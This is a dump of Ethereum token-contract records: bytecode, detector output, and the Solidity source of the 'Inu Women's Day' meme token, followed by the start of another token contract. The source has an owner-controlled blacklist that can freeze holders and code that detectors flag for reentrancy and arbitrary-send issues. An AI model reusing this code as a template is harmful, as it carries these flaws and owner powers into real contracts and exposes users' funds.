3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806118716025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611330576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806117de6023913960400191505060405180910390fd5b61139b81604051806060016040528060268152602001611823602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114da9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061142e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611587576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561154c578082015181840152602081019050611531565b50505050905090810190601f1680156115795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611618576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6116da8160025461159a90919063ffffffff16565b600281905550611731816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820fa2c9a4ac444fb2853556ddb03316b33f813a26b25b8f82532004b1a56e5724764736f6c63430005110032
{"success": true, "error": null, "results": {}}
3,670
0x10f51c7871157169870a9521838787df99987899
/** *Submitted for verification at Etherscan.io on 2022-03-08 */ /* Inu Women’s Day (IWD) Happy International Women's Day 2021! Inu Women’s day celebrates gender equality today and recognises the social, economic, cultural and political achievements of women. This token honours women's achievements and raises awareness about women's equality at the same time. Despite accounting for half the world’s population, women made up more than two-thirds of the world’s illiterate people, an estimated 60 percent of chronically hungry and held just 28 percent of managerial positions globally in 2019 (almost the same as in 1995). Historically, women have been valued as less than their male counterparts. Allow us to quote the respectable Malala Yousafzai “If we want to live in a more equal future, leaders must prioritise quality education. Educating young women can also help to prevent wars, mitigate the effects of climate change and make economics grow” The purpose of this token not only celebrates the progress of women’s rights in this hundred years but also reminds mankind that our war against inequality isn’t over and still far from success. Tokenomics: Max supply: 10 Billion Initial LP: 3 / 4 Max buy: 2% Tax: 12% 4% LP 3% Reflection 3% Marketing and Dev 2% Donation for women’s education Telegram: https://t.me/inuwomensday */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract InuDay is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Inu Women's Day"; string private constant _symbol = "IWD"; uint private constant _decimals = 9; uint256 private _teamFee = 12; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[to]); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(12).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(12).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (3 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 12, "not larger than 12%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f5578063cf0848f71461040a578063cf9d4afa1461042a578063dd62ed3e1461044a578063e6ec64ec14610490578063f2fde38b146104b057600080fd5b8063715018a61461032c5780638da5cb5b1461034157806390d49b9d1461036957806395d89b4114610389578063a9059cbb146103b5578063b515566a146103d557600080fd5b806331c2d8471161010857806331c2d847146102455780633bbac57914610265578063437823ec1461029e578063476343ee146102be5780635342acb4146102d357806370a082311461030c57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101bc57806318160ddd146101ec57806323b872dd14610211578063313ce5671461023157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d0565b005b34801561017e57600080fd5b5060408051808201909152600f81526e496e7520576f6d656e27732044617960881b60208201525b6040516101b39190611911565b60405180910390f35b3480156101c857600080fd5b506101dc6101d736600461198b565b61051c565b60405190151581526020016101b3565b3480156101f857600080fd5b50678ac7230489e800005b6040519081526020016101b3565b34801561021d57600080fd5b506101dc61022c3660046119b7565b610533565b34801561023d57600080fd5b506009610203565b34801561025157600080fd5b50610170610260366004611a0e565b61059c565b34801561027157600080fd5b506101dc610280366004611ad3565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102aa57600080fd5b506101706102b9366004611ad3565b610632565b3480156102ca57600080fd5b50610170610680565b3480156102df57600080fd5b506101dc6102ee366004611ad3565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031857600080fd5b50610203610327366004611ad3565b6106ba565b34801561033857600080fd5b506101706106dc565b34801561034d57600080fd5b506000546040516001600160a01b0390911681526020016101b3565b34801561037557600080fd5b50610170610384366004611ad3565b610712565b34801561039557600080fd5b506040805180820190915260038152621255d160ea1b60208201526101a6565b3480156103c157600080fd5b506101dc6103d036600461198b565b61078c565b3480156103e157600080fd5b506101706103f0366004611a0e565b610799565b34801561040157600080fd5b506101706108b2565b34801561041657600080fd5b50610170610425366004611ad3565b610969565b34801561043657600080fd5b50610170610445366004611ad3565b6109b4565b34801561045657600080fd5b50610203610465366004611af0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049c57600080fd5b506101706104ab366004611b29565b610c0f565b3480156104bc57600080fd5b506101706104cb366004611ad3565b610c85565b6000546001600160a01b031633146105035760405162461bcd60e51b81526004016104fa90611b42565b60405180910390fd5b600061050e306106ba565b905061051981610d1d565b50565b6000610529338484610e97565b5060015b92915050565b6000610540848484610fbb565b610592843361058d85604051806060016040528060288152602001611cbd602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113fa565b610e97565b5060019392505050565b6000546001600160a01b031633146105c65760405162461bcd60e51b81526004016104fa90611b42565b60005b815181101561062e576000600560008484815181106105ea576105ea611b77565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062681611ba3565b9150506105c9565b5050565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016104fa90611b42565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062e573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052d90611434565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016104fa90611b42565b61071060006114b8565b565b6000546001600160a01b0316331461073c5760405162461bcd60e51b81526004016104fa90611b42565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610529338484610fbb565b6000546001600160a01b031633146107c35760405162461bcd60e51b81526004016104fa90611b42565b60005b815181101561062e57600c5482516001600160a01b03909116908390839081106107f2576107f2611b77565b60200260200101516001600160a01b0316141580156108435750600b5482516001600160a01b039091169083908390811061082f5761082f611b77565b60200260200101516001600160a01b031614155b156108a05760016005600084848151811061086057610860611b77565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108aa81611ba3565b9150506107c6565b6000546001600160a01b031633146108dc5760405162461bcd60e51b81526004016104fa90611b42565b600c54600160a01b900460ff166109405760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fa565b600c805460ff60b81b1916600160b81b17905542600d8190556109649060b4611bbe565b600e55565b6000546001600160a01b031633146109935760405162461bcd60e51b81526004016104fa90611b42565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109de5760405162461bcd60e51b81526004016104fa90611b42565b600c54600160a01b900460ff1615610a465760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fa565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac19190611bd6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b329190611bd6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba39190611bd6565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c395760405162461bcd60e51b81526004016104fa90611b42565b600c811115610c805760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031322560681b60448201526064016104fa565b600855565b6000546001600160a01b03163314610caf5760405162461bcd60e51b81526004016104fa90611b42565b6001600160a01b038116610d145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fa565b610519816114b8565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6557610d65611b77565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de29190611bd6565b81600181518110610df557610df5611b77565b6001600160a01b039283166020918202929092010152600b54610e1b9130911684610e97565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e54908590600090869030904290600401611bf3565b600060405180830381600087803b158015610e6e57600080fd5b505af1158015610e82573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fa565b6001600160a01b038216610f5a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fa565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661101f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fa565b6001600160a01b0382166110815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fa565b600081116110e35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fa565b6001600160a01b03821660009081526005602052604090205460ff161561110957600080fd5b6001600160a01b03831660009081526005602052604090205460ff16156111b15760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104fa565b6001600160a01b03831660009081526004602052604081205460ff161580156111f357506001600160a01b03831660009081526004602052604090205460ff16155b80156112095750600c54600160a81b900460ff16155b80156112395750600c546001600160a01b03858116911614806112395750600c546001600160a01b038481169116145b156113e857600c54600160b81b900460ff166112975760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fa565b50600c546001906001600160a01b0385811691161480156112c65750600b546001600160a01b03848116911614155b80156112d3575042600e54115b1561131a5760006112e3846106ba565b905061130360646112fd678ac7230489e800006002611508565b90611587565b61130d84836115c9565b111561131857600080fd5b505b600d54421415611348576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611353306106ba565b600c54909150600160b01b900460ff1615801561137e5750600c546001600160a01b03868116911614155b156113e65780156113e657600c80546113b1916064916112fd91906113ab906001600160a01b03166106ba565b90611508565b8111156113dd57600c80546113da916064916112fd91906113ab906001600160a01b03166106ba565b90505b6113e681610d1d565b505b6113f484848484611628565b50505050565b6000818484111561141e5760405162461bcd60e51b81526004016104fa9190611911565b50600061142b8486611c64565b95945050505050565b600060065482111561149b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fa565b60006114a561172b565b90506114b18382611587565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826115175750600061052d565b60006115238385611c7b565b9050826115308583611c9a565b146114b15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fa565b60006114b183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061174e565b6000806115d68385611bbe565b9050838110156114b15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fa565b80806116365761163661177c565b60008060008061164587611798565b6001600160a01b038d166000908152600160205260409020549397509195509350915061167290856117df565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116a190846115c9565b6001600160a01b0389166000908152600160205260409020556116c381611821565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161170891815260200190565b60405180910390a3505050508061172457611724600954600855565b5050505050565b600080600061173861186b565b90925090506117478282611587565b9250505090565b6000818361176f5760405162461bcd60e51b81526004016104fa9190611911565b50600061142b8486611c9a565b60006008541161178b57600080fd5b6008805460095560009055565b6000806000806000806117ad876008546118ab565b9150915060006117bb61172b565b90506000806117cb8a85856118d8565b909b909a5094985092965092945050505050565b60006114b183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113fa565b600061182b61172b565b905060006118398383611508565b3060009081526001602052604090205490915061185690826115c9565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118868282611587565b8210156118a257505060065492678ac7230489e8000092509050565b90939092509050565b600080806118be60646112fd8787611508565b905060006118cc86836117df565b96919550909350505050565b600080806118e68685611508565b905060006118f48686611508565b9050600061190283836117df565b92989297509195505050505050565b600060208083528351808285015260005b8181101561193e57858101830151858201604001528201611922565b81811115611950576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051957600080fd5b803561198681611966565b919050565b6000806040838503121561199e57600080fd5b82356119a981611966565b946020939093013593505050565b6000806000606084860312156119cc57600080fd5b83356119d781611966565b925060208401356119e781611966565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a2157600080fd5b823567ffffffffffffffff80821115611a3957600080fd5b818501915085601f830112611a4d57600080fd5b813581811115611a5f57611a5f6119f8565b8060051b604051601f19603f83011681018181108582111715611a8457611a846119f8565b604052918252848201925083810185019188831115611aa257600080fd5b938501935b82851015611ac757611ab88561197b565b84529385019392850192611aa7565b98975050505050505050565b600060208284031215611ae557600080fd5b81356114b181611966565b60008060408385031215611b0357600080fd5b8235611b0e81611966565b91506020830135611b1e81611966565b809150509250929050565b600060208284031215611b3b57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bb757611bb7611b8d565b5060010190565b60008219821115611bd157611bd1611b8d565b500190565b600060208284031215611be857600080fd5b81516114b181611966565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c435784516001600160a01b031683529383019391830191600101611c1e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c7657611c76611b8d565b500390565b6000816000190483118215151615611c9557611c95611b8d565b500290565b600082611cb757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220db997fceeef37f47a69b066b22954d5ac41c56dc7aa6a485df9e7f3552c6a67a64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,671
0xd697d0ec5d02d0d37138af6dff63a2572d0a09d0
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract XAEAXII is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = " X AE A-XII INU"; string private constant _symbol = "XAEAXII"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private 